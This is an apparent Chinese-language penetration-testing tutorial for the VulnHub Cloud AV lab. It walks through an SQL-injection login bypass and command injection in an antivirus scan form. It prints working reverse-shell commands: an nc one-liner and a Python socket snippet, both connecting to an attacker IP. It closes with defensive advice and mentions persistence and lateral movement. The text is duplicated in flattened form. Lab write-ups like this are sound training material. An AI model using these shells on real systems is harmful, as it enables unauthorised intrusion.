VnlnHub BOREDHACKERBLOG CLOUD AV
字数 1318 2025-08-12 11:34:25

VnlnHub BOREDHACKERBLOG CLOUD AV 渗透测试教学文档

靶场环境搭建

  1. 获取靶机文件

    • 下载格式为.ova的虚拟机压缩文件
    • 使用VMware Workstation导入该文件
  2. 网络配置

    • 推荐使用NAT模式(桥接模式也可,但需与攻击机保持一致)
    • 注意:该靶机可能无法自动获取IP,需要手动配置
  3. IP配置问题解决

信息收集阶段

  1. 网络扫描

    • 使用nmap扫描NAT网段以发现靶机IP
    • 示例命令:nmap -sT -p 0-65535 -A 192.168.52.132
  2. 发现的服务

    • 22端口:SSH服务
    • 8080端口:HTTP服务
      • 框架信息:Werkzeug 0.14.1 (Python 2.7.15)

Web应用渗透测试

  1. 初始访问

    • 访问8080端口的Web服务
    • 发现一个反病毒扫描模块,需要密码才能进入
  2. SQL注入测试

    • 使用Burp Suite拦截登录请求
    • 发送到Repeater模块进行测试
    • 错误响应:WRONG INFORMATION
    • 确认存在SQL注入漏洞
    • 构造SQL注入语句成功绕过认证
  3. 功能分析

    • 登录后显示文件列表
    • 功能:输入文件名进行病毒扫描
    • 推测:后端可能使用命令行扫描工具(如软件名 + 文件名形式)

命令注入漏洞利用

  1. 测试命令注入

    • 在文件名输入处尝试注入命令
    • 确认存在命令注入漏洞
  2. 反弹Shell尝试

    • 检查靶机上的可用工具:
      • nc:存在
      • python:存在(版本2.7.15)
  3. 方法一:使用nc获取Shell

    • Kali攻击机监听:nc -lvnp 4444
    • 尝试命令:bash | nc 192.168.52.128 4444 -e /bin/bash
    • 问题:靶机nc版本可能不支持-e参数
  4. 方法二:nc串联

    • Kali监听两个端口:4444和5555
    • 使用串联方式绕过-e参数限制
  5. 方法三:使用Python获取Shell

    • 可尝试Python反向Shell代码
    • 示例:
      import socket,subprocess,os
      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      s.connect(("192.168.52.128",4444))
      os.dup2(s.fileno(),0)
      os.dup2(s.fileno(),1)
      os.dup2(s.fileno(),2)
      p=subprocess.call(["/bin/sh","-i"])
      

关键安全漏洞总结

  1. SQL注入漏洞

    • 认证绕过
    • 未对用户输入进行过滤
  2. 命令注入漏洞

    • 系统命令拼接用户输入
    • 缺乏输入验证和过滤
  3. 配置问题

    • 使用旧版、不安全的组件(Python 2.7.15)
    • 网络服务暴露过多(SSH+HTTP)

防御建议

  1. 输入验证

    • 对所有用户输入进行严格过滤
    • 使用参数化查询防止SQL注入
  2. 命令执行安全

    • 避免直接拼接用户输入到系统命令
    • 使用白名单验证文件名
  3. 系统加固

    • 更新过时的软件组件
    • 最小化开放的网络服务
  4. 权限控制

    • Web应用使用低权限账户运行
    • 实施最小权限原则

扩展思考

  1. 其他可能的攻击路径

    • SSH服务暴力破解
    • Werkzeug框架已知漏洞利用
    • Python 2.7.15的潜在漏洞
  2. 后渗透阶段

    • 权限提升可能性分析
    • 持久化方法研究
    • 内网横向移动
  3. 自动化工具使用

    • sqlmap自动化SQL注入测试
    • Metasploit模块利用

本教学文档涵盖了从靶机搭建到漏洞利用的完整过程,重点突出了SQL注入和命令注入两个关键漏洞的发现与利用方法,并提供了防御建议和扩展思考方向。

VnlnHub BOREDHACKERBLOG CLOUD AV 渗透测试教学文档 靶场环境搭建 获取靶机文件 : 下载格式为.ova的虚拟机压缩文件 使用VMware Workstation导入该文件 网络配置 : 推荐使用NAT模式(桥接模式也可,但需与攻击机保持一致) 注意:该靶机可能无法自动获取IP,需要手动配置 IP配置问题解决 : 参考文章: 解决靶机无法获取IP问题 信息收集阶段 网络扫描 : 使用nmap扫描NAT网段以发现靶机IP 示例命令: nmap -sT -p 0-65535 -A 192.168.52.132 发现的服务 : 22端口:SSH服务 8080端口:HTTP服务 框架信息:Werkzeug 0.14.1 (Python 2.7.15) Web应用渗透测试 初始访问 : 访问8080端口的Web服务 发现一个反病毒扫描模块,需要密码才能进入 SQL注入测试 : 使用Burp Suite拦截登录请求 发送到Repeater模块进行测试 错误响应:WRONG INFORMATION 确认存在SQL注入漏洞 构造SQL注入语句成功绕过认证 功能分析 : 登录后显示文件列表 功能:输入文件名进行病毒扫描 推测:后端可能使用命令行扫描工具(如 软件名 + 文件名 形式) 命令注入漏洞利用 测试命令注入 : 在文件名输入处尝试注入命令 确认存在命令注入漏洞 反弹Shell尝试 : 检查靶机上的可用工具: nc :存在 python :存在(版本2.7.15) 方法一:使用nc获取Shell : Kali攻击机监听: nc -lvnp 4444 尝试命令: bash | nc 192.168.52.128 4444 -e /bin/bash 问题:靶机nc版本可能不支持-e参数 方法二:nc串联 : Kali监听两个端口:4444和5555 使用串联方式绕过-e参数限制 方法三:使用Python获取Shell : 可尝试Python反向Shell代码 示例: 关键安全漏洞总结 SQL注入漏洞 : 认证绕过 未对用户输入进行过滤 命令注入漏洞 : 系统命令拼接用户输入 缺乏输入验证和过滤 配置问题 : 使用旧版、不安全的组件(Python 2.7.15) 网络服务暴露过多(SSH+HTTP) 防御建议 输入验证 : 对所有用户输入进行严格过滤 使用参数化查询防止SQL注入 命令执行安全 : 避免直接拼接用户输入到系统命令 使用白名单验证文件名 系统加固 : 更新过时的软件组件 最小化开放的网络服务 权限控制 : Web应用使用低权限账户运行 实施最小权限原则 扩展思考 其他可能的攻击路径 : SSH服务暴力破解 Werkzeug框架已知漏洞利用 Python 2.7.15的潜在漏洞 后渗透阶段 : 权限提升可能性分析 持久化方法研究 内网横向移动 自动化工具使用 : sqlmap自动化SQL注入测试 Metasploit模块利用 本教学文档涵盖了从靶机搭建到漏洞利用的完整过程,重点突出了SQL注入和命令注入两个关键漏洞的发现与利用方法,并提供了防御建议和扩展思考方向。